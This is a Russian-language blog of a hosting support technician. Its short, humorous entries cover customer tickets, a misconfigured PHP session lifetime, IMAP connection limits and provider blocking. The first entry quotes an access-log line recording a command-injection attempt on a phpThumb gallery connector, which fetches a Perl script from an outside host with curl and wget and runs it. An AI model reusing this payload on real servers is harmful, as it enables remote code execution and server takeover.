109.163.234.8 - - [10/Jul/2014:03:09:04 +0400] "GET /assets/components/gallery/connector.php?action=web/phpthumb&w=800&h=800&zc=0&far=&q=90&src=%2Fassets%2Fgallery%2F204%2F3636.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;cd%20/tmp;curl%20-o%20af.txt%20thathi.com.br/af.txt;wget%20thathi.com.br/af.txt;perl%20af.txt;%20&phpThumbDebug=9 HTTP/1.1" 404 8305 "-" "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"

Вот так очередная леденящая душу история о "серверной уязвимости" на проверку оказалось банальным недосмотром разработчика или администратора сайта.

@темы: будни, накипело

14:33 

Заявки...

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
/> Добрый день,
/> подскажите пож-та что занимает у меня на диске столько места в скрытых директориях??
/> что это за скрытые директории и для чего они??

Скрытые директории - любые директории, название которых начинается с точки. В данном случае речь идет о ~/.cagefs/tmp - каталог для хранения временных файлов.
В данном каталоге сейчас хранится более 800 тысяч файлов сессий:
-sh-4.1$ find ~/.cagefs/tmp/ | wc -l
859435
-sh-4.1$ du -sh ~/.cagefs/tmp/
3.4G ~/.cagefs/tmp/

Это говорит о том, что они не очищаются, что в настройках обработчика PHP указано некорректное значение времени жизни сессии.

-sh-4.1$ find public_html/ -name "php.ini"
public_html/site/admin/php.ini
public_html/site/php.ini
-sh-4.1$ cat public_html/site/php.ini | grep session
session.use_cookies = On;
session.use_trans_sid = Off;
session.gc_maxlifetime = 12000000;

Согласно Вашим настройкам, сессия хранится 10 лет.


@темы: будни, мисконфиг

12:05 

Синонимы

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Пишу ответ пользователю, и почему-то вместо "классического" для меня словосочетания "программного обеспечения" пишу "служб" (видимо, мне было таааак лень :) )

"... описанная проблема может быть связана либо с качеством сетевого подключения, либо с работой служб, осуществляющих контроль и фильтрацию трафика (..."

И сразу захотелось в список к антивирусу и фаерволлу добавить ФСБ, Роскомнадзор... :)

@темы: будни, большой брат

22:18 

ЧТД

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Ночная смена распечатала, склеила (!) и повесила на стену ответ (подробнейший, ~1.7 метра) пользователя на стандартный запрос информации вида "что именно и как не работает".


Думаю, комментарии излишни :)

@темы: С картинками, маразмы

16:58 

Позитивное мышление

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Увидел "странности" в работе почтовика, связанные с резолвом доменов. Пошел к админам с вопросом, почему же он так фигово работает.

"
Это нормально, что днс не всегда резолвят. Они работают так:

"

**иногда не кажется, что некоторые люди вместо работы занимаются коллекционированием картинок с нужными ответами :)

@темы: будни, с картинками

22:10 

Первая запись?

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
В качестве первой записи можно было бы припомнить множество перлов, скопипастить вкуснятины с внутреннего форума, но как-то лень... По этой причине с прошлым было решено решительно расстаться, да и чужое копипастить нехорошо :)
Если говорить о "свежем" (не далее, чем в этот понедельник) - когда я даю рекомендации об использовании какого-либо ПО, я обычно в комплекте предоставляю ссылку на сайт разработчиков этого ПО. В частности, был задан вопрос "Что изволит кушать мой диск?" - на что в качестве рекомендации было предложено установить и использовать такую утилиту, как atop. И здесь вышел казус - вместо страницы http://www.atoptool.nl/ клиент увидел фигу вида "ЗОБАНЕНО!" от Ростелекома. Сами они ссылаюстя либо на Тот-Самый-Реестр-Куда-Попадают-Только-Плохие-Страницы, либо на результаты судебного решения - но ни домен, ни IP-адрес в реестре не значатся, да и в субедное решение как-то слабо верится...


Что характерно, на сайте Ростелекома я не нашел ни телефона техподдержки (есть только "информационная" - подозреваю, банальный автоответчик, если судить по описанию), ни электронных способов связи, включая электронную почту. Есть форма обратной связи, где указав 100500 данных о себе (включая номер договора), можно таки кому-то что-то написать. Вот бы нам так...

@темы: будни

19:07 

Сильные люди

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[6:38 PM] Василий: так, а для замены отправить в ДЦ диск или менять на то, что есть?
[6:55 PM] Александр: @Василий там сервер на шассии SC113TQ-R700WB 8x 2.5" отсеков для дисков SAS/SATA
[6:56 PM] Александр: в наличии только 3.5 диски =)
[6:57 PM] Василий: **и зачем тогда ДЦшники, когда у них спрашивают про 2.5", отвечают про наличие 3.5" ?)
[6:58 PM] Евгений: они их умеют ужимать
[6:58 PM] Евгений: на смене сильный ДЦшник

19:15 

Корабельное

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[6:56 PM] Василий: Dearchiving failed users: bugtest2
[6:56 PM] Александр: как аккаунт назовешь  так .... :D

11:10 

Заявки...

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Заявка на тему "Не сохраняются отправленные на сервере", к заявке приложен скриншот с ошибкой:
"Tunderbird не удалось подключиться к IMAP-серверу. Возможно, Вы превысили ограничение на максимальное число соединений к этому серверу. Если это так, откройте диалоговое "Дополнительные параметры IMAP-сервера и уменьшите число кэшируемых соединений."

Зрим в логи:
Feb 19 09:36:56 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP

Какой умный почтовый клиент, однако :) Надо было его послушаться.

@темы: будни

13:30 

FTP и вамипры.

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Заявка на тему: "Почему я не могу войти по ftp".

В ходе обсуждения теории входа на сервер мы пришли к выводу:
1) Вампиры не могут войти на сервер по протоколу SSH/SFTP;
2) Вампиры не могут войти на сервер по протоколу FTP в активном режиме обмена данными;
3) Вампиры должны использовать пассивный режим обмена данными для успешного входа на сервер.

А все потому, что вампиры не могут войти без приглашения ;)


@темы: будни, юмор

Записки безумного саппорта

главная